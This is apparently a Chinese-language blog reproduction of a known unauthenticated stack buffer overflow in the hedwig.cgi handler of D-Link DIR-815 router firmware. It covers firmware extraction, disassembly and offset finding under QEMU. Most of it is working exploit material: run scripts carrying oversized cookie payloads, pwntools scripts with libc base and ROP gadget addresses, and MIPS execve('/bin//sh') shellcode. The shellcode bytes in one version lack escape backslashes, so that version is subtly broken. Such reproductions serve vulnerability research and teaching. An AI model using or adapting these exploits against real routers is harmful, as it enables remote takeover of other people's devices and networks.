D-Link DIR-815
2022-04-15 14:42:09

D-Link DIR-815远程缓冲区溢出

固件下载:

https://tsd.dlink.com.tw/

漏洞信息:

https://www.exploit-db.com/exploits/33863

漏洞存在于hedwig.cgi中

未认证攻击者通过调用这个CGI脚本可以传递以恶搞超长的COOKIE值,使得程序产生栈溢出==》

获得路由器的远程控制权限

漏洞复现:

固件提取:

binwalk -Me DIR-815A1_FW101SSB03.bin

提取固件后:

漏洞定位:

1、根据漏洞信息在文件系统中搜索漏洞核心组件hedwig.cgi

find ./ -name hedwig.cgi

查看hedwig.cgi相关信息:

ls -l ./htdocs/web/hedwig.cgi

==》hedwig.cgi是指向./htdocs/cgibin的符号链接==》真正的漏洞代码位于cgibin中

===》

对./htdocs/cgibin进行分析:

检查保护:

IDA静态分析:

通过IDA的string对COOKIE定位:

==》定位至sess_get_uid函数

查看sess_get_uid的交叉引用:

定位至hedwigcgi_main函数==》

通过sess_get_uid()获取HTTP_COOKIE中uid=之后的值,并将该内容按照sprintf函数中格式化字符串给定的形式拷贝至栈中==》没有检测并限制输入的大小==》栈溢出

在之后也有一个sprintf函数存在栈溢出

漏洞测试:

GDB溢出测试

GDB:

set architecture mips
cyclic 1500

终端:

将GDB产生的数据填入测试脚本中:

#!/bin/sh
qemu-mipsel -g 1234 -strace -L ./ \
        -0 "./htdocs/web/hedwig.cgi" \
        -E "REQUEST_METHOD"="POST" \
        -E "CONTENT_TYPE"="application/x-www-form-urlencoded" \
        -E "CONTENT_LENGTH"="10" \
        -E "REQUEST_URI"="/hedwig.cgi" \
        -E "HTTP_COOKIE"="uid=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaao" \
        ./htdocs/cgibin

运行脚本,GDB连接:

继续运行==》出现报错:

==》出现了打开libc的操作==》猜测第二次调用mmap时为libc的基地址

==》

偏移:

==》1043

调整调试脚本:

#!/bin/sh
qemu-mipsel -g 1234 -strace -L ./ \
        -0 "./htdocs/web/hedwig.cgi" \
        -E "REQUEST_METHOD"="POST" \
        -E "CONTENT_TYPE"="application/x-www-form-urlencoded" \
        -E "CONTENT_LENGTH"="10" \
        -E "REQUEST_URI"="/hedwig.cgi" \
        -E "HTTP_COOKIE"="uid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb" \
        ./htdocs/cgibin

运行:

返回地址已被控制

第二个sprintf:

需要在var目录下建立tmp目录才能到达下一个sprintf==》

溢出测试:

GDB:

set architecture mips

cyclic 1200

测试脚本:

#!/bin/sh
INPUT="uid=1234"
PAYLOAD="uid=`cat exploit`"

LEN=$(echo -n "INPUT" | wc -c)
echo $INPUT | qemu-mipsel -g 1234 -strace -L ./ \
        -0 "./htdocs/web/hedwig.cgi" \
        -E "REQUEST_METHOD"="POST" \
        -E "CONTENT_TYPE"="application/x-www-form-urlencoded" \
        -E "CONTENT_LENGTH"=$LEN \
        -E "REQUEST_URI"="/hedwig.cgi" \
        -E "HTTP_COOKIE"=$PAYLOAD \
        -E "REMOTE_ADDR"="127.0.0.1" \
        ./htdocs/cgibin

HTTP_COOKIE:

from pwn import *

payload=b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaal"

f=open("exploit","wb")
f.write(payload)
f.close()

payload为GDB产生的1200数据

GDB溢出测试2:

运行测试脚本:

计算溢出偏移:

调整数据脚本:

from pwn import *

payload=b"a"*1009+b'bbbb'

f=open("exploit","wb")
f.write(payload)
f.close()

运行测试:

==》返回地址已经被控制

==》

system函数在libc中的偏移:

==》在调用system()传入参数时需要使用a0寄存器==》

构造ROP:

注意点:system函数的最低位为x00,在构造HTTP_COOKIE时x00会被sess_get_uid函数截断

就算sess_get_uid不截断,也会被sprintf截断===》

需要在构造shellcode时,需要将像system地址这种地址-1

==》之后通过寻址gadget将其+1

首先寻找将栈上地址放入寄存器==》

gadget1

选择使用0x159cc:

然后寻找+1的gadget2==》

这里选择0x45988

===》构造:

将system函数的地址-1放入s0寄存器中,使用gadget2跳转至s1寄存器中的地址

安排payload:

返回地址:

==》可以控制数据覆盖ra,fp,s7~s0寄存器

==》通过控制ra寄存器执行gadget2==》

将system函数的地址还原,并跳转至s1寄存器地址处==》

执行gadget1将sp+0x10处的内容放至s5寄存器处并跳转至s0寄存器处==》

执行system函数

构造EXP1:

from pwn import *

context.arch="mips"

libcbase=0x7f738000
system_addr=libcbase+0x53200-1

gadget1 = 0x159cc
gadget2 = 0x45988

payload=b"a"*0x3cd
payload+=p32(system_addr)   #s0
payload+=p32(libcbase+gadget1)		#s1
payload+=b"bbbb"			#s2
payload+=b"cccc"			#s3
payload+=b"dddd"			#s4
payload+=b'eeee'            #$s5
payload+=b"ffff"			#$s6
payload+=b"gggg"			#$s7
payload+=b"hhhh"			#fp
payload+=p32(libcbase+gadget2)     #$ra
payload+=b"c"*0x10
payload+=b"/bin//sh"

f=open("exploit","wb+")
f.write(payload)
f.close()

运行结果:

首先断点至gadget2地址处:

单步运行,此时system函数地址已恢复:

接下来跳转至s1:

接下来将sp+0x10处的内容(/bin/sh)放入s5中:

继续运行至s0处:

此时a0寄存器已经被赋值为/bin/sh

并且已经执行到了system函数处:

继续运行:

发现在该地址处无法继续运行==》

原因:

fp指针为0===》fp+0x10处无法访问==》空指针报错

(system里有fork开启进程导致野指针出错)

===》

考虑另一种方法:调用sleep(1)函数来getshell

==》

cache incoherency:

MIPS CPUs有两个独立地cache:指令cache和数据cache,指令和数据在不同的两个缓存中

当缓存满了==》触发flush==》会将数据写回主内存==》

攻击者的攻击payload通常会被应用当作数据来处理==》存储在数据缓存中==》

当payload触发漏洞,劫持程序执行流程时,会去执行内存中的shellcode==》

如果数据缓存没有触发flush的话==》shellcode依然存储在缓存中,没有写入主内存==》

导致程序执行了本该存储shellcode的地址处随机的代码,导致不可预知的后果==》

==》想办法造成堵塞==》sleep(1)等类似函数==》

sleep()执行的过程中,处理器会切换上下文让给其他正在执行的程序,缓存会自动执行flush

重新构造ROP:

使用0x57E50==》给a0寄存器赋值1(sleep函数参数)并返回时跳转至s1寄存器中地址

==》第一个gadget肯定是控制返回地址==》

将ra覆盖为

ra=gadget1=0x57E50+libcbase==》

寻找第二个gadget放入s1:

使用mipsrop.tail()打印出所有函数尾部调用的gadget

因为非叶子函数尾部一般是将栈中返回地址给寄存器然后再跳转

==》选择0x3B8A8作为gadget2

==》会将栈上sp+0x24处的内容给寄存器ra,再跳转至s2寄存器中==》

s2寄存器需要存放sleep函数的地址==》

s1=gadget2=0x0003B8A8+libcbase

s2=sleep+libcbase

==》在执行完sleep函数后需要控制程序执行栈上shellcode==》

使用0x14F28==》

将sp+0x18处的值赋给s1,之后跳转至s4寄存器中的地址

==》接下来就需要跳转至s1执行shellcode==》

选择使用0x1DD08作为gadget4(其他gadget会出现坏字符,截断等)

坏字符:

0x20空格
0x00结束符
0x3a冒号
0x3f问号
0x3b分号
0x0a换行符
……

s4=gadget4=0x1DD08+libcbase

重新构造EXP2:

from pwn import *

context.arch='mips'
context.endian = 'little'

libcbase=0x7F738000

sleep=0x56BD0

gadget1=0x57E50+libcbase
gadget2=0x3B8A8+libcbase
gadget3=0x14F28+libcbase
gadget4=0x1DD08+libcbase

shellcode = b"xffxffx06x28"  # slti $a2, $zero, -1
shellcode += b"x62x69x0fx3c"  # lui $t7, 0x6962
shellcode += b"x2fx2fxefx35"  # ori $t7, $t7, 0x2f2f
shellcode += b"xf4xffxafxaf"  # sw $t7, -0xc($sp)
shellcode += b"x73x68x0ex3c"  # lui $t6, 0x6873
shellcode += b"x6ex2fxcex35"  # ori $t6, $t6, 0x2f6e
shellcode += b"xf8xffxaexaf"  # sw $t6, -8($sp)
shellcode += b"xfcxffxa0xaf"  # sw $zero, -4($sp)
shellcode += b"xf4xffxa4x27"  # addiu $a0, $sp, -0xc
shellcode += b"xffxffx05x28"  # slti $a1, $zero, -1
shellcode += b"xabx0fx02x24"  # addiu;$v0, $zero, 0xfab
shellcode += b"x0cx01x01x01"  # syscall 0x40404

payload=b'a'*0x3cd
payload+=b'b'*4      #s0
payload+=p32(gadget2)  #s1
payload+=p32(sleep+libcbase)   #s2
payload+=b'c'*4         #s3
payload+=p32(gadget4)   #s4
payload+=b'd'*4         #s5
payload+=b'e'*4         #s6
payload+=b'f'*4		    #s7
payload+=b'g'*4		    #s8
payload+=p32(gadget1)  #ra
payload+=b'h'*0x24
payload+=p32(gadget3)
payload+=b'g'*24
payload+=shellcode

f=open("exploit","wb")
f.write(payload)
f.close()

运行结果:

依旧是运行至gatget1处:

单步运行后a0寄存器将被赋值为1

跳转至s1寄存器

继续运行,给ra,s2,s1,s0寄存器赋值:

运行前ra寄存器内容:

0x7f78fe60==》也就是gadget1处

运行后ra寄存器内容:

0x7f74cf28==》gadget3地址处

赋值后寄存器:

跳转至之前保存的s2地址处:sleep函数处:

因为此时ra寄存器保存为gadget3处,所以sleep函数执行完后会跳转至gadget3处

继续运行至gadget3地址处:

此时sp指向shellcode。单步运行:

将shellcode传入s1寄存器中:

跳转gadget4处:

接下来就是跳转至s1寄存器处

===》发现在qemu下还不能getshell,但是返回地址已经指向shellcode

来自狒猩橙师傅的exp:

from pwn import *

context.arch='mips'
context.endian = 'little'

libcbase=0x7F738000

sleep=0x56BD0

gadget1=0x57E50+libcbase
gadget2=0x3B8A8+libcbase
gadget3=0x14F28+libcbase
'''
.text:00015B6C                 addiu   $s2, $sp, 0x280+var_268
.text:00015B70                 move    $a2, $v1
.text:00015B74                 move    $t9, $s0
.text:00015B78                 jalr    $t9 ; mempcpy
.text:00015B7C                 move    $a0, $s2
'''
gadget4=0x1DD08+libcbase
'''
.text:00052AB0                 move    $t9, $s2
.text:00052AB4                 jalr    $t9
.text:00052AB8                 nop
'''

shellcode = b"\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode+= b"\x62\x69\x0f\x3c"  # lui $t7, 0x6962
shellcode+= b"\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode+= b"\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode+= b"\x73\x68\x0e\x3c"  # lui $t6, 0x6873
shellcode+= b"\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode+= b"\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode+= b"\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode+= b"\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode+= b"\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode+= b"\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode+= b"\x0c\x01\x01\x01"  # syscall 0x40404

payload = b'a'*(1009-36)
payload+= b'b'*4		               # s0
payload+= p32(gadget2)                 # s1
payload+= p32(sleep)                   # s2
payload+= b'e'*4                       # s3
payload+= b'f'*4                       # s4
payload+= b'h'*4                       # s5
payload+= b'i'*4                       # s6
payload+= b'j'*4                       # s7
payload+= b'k'*4                       # s8
payload+= p32(gadget1)                 # ra

payload+= b'a'*24
payload+= p32(gadget4)                 # s0
payload+= b'c'*4                       # s1
payload+= b'd'*4                       # s2
payload+= p32(gadget3)                 # ra
payload+= b'a'*0x18
payload+= shellcode

f=open("payload","wb")
f.write(payload)
f.close()

攻击效果:

通过对uid的编辑实现命令执行:

whoami

#!/bin/sh
INPUT="uid=awhoami"
PAYLOAD="uid=`cat exploit`"

LEN=$(echo -n "INPUT" | wc -c)
echo $INPUT | qemu-mipsel -strace -L ./ \
        -0 "./htdocs/web/hedwig.cgi" \
        -E "REQUEST_METHOD"="POST" \
        -E "CONTENT_TYPE"="application/x-www-form-urlencoded" \
        -E "CONTENT_LENGTH"=$LEN \
        -E "REQUEST_URI"="/hedwig.cgi" \
        -E "HTTP_COOKIE"=$PAYLOAD \
        -E "REMOTE_ADDR"="127.0.0.1" \
        ./htdocs/cgibin

ls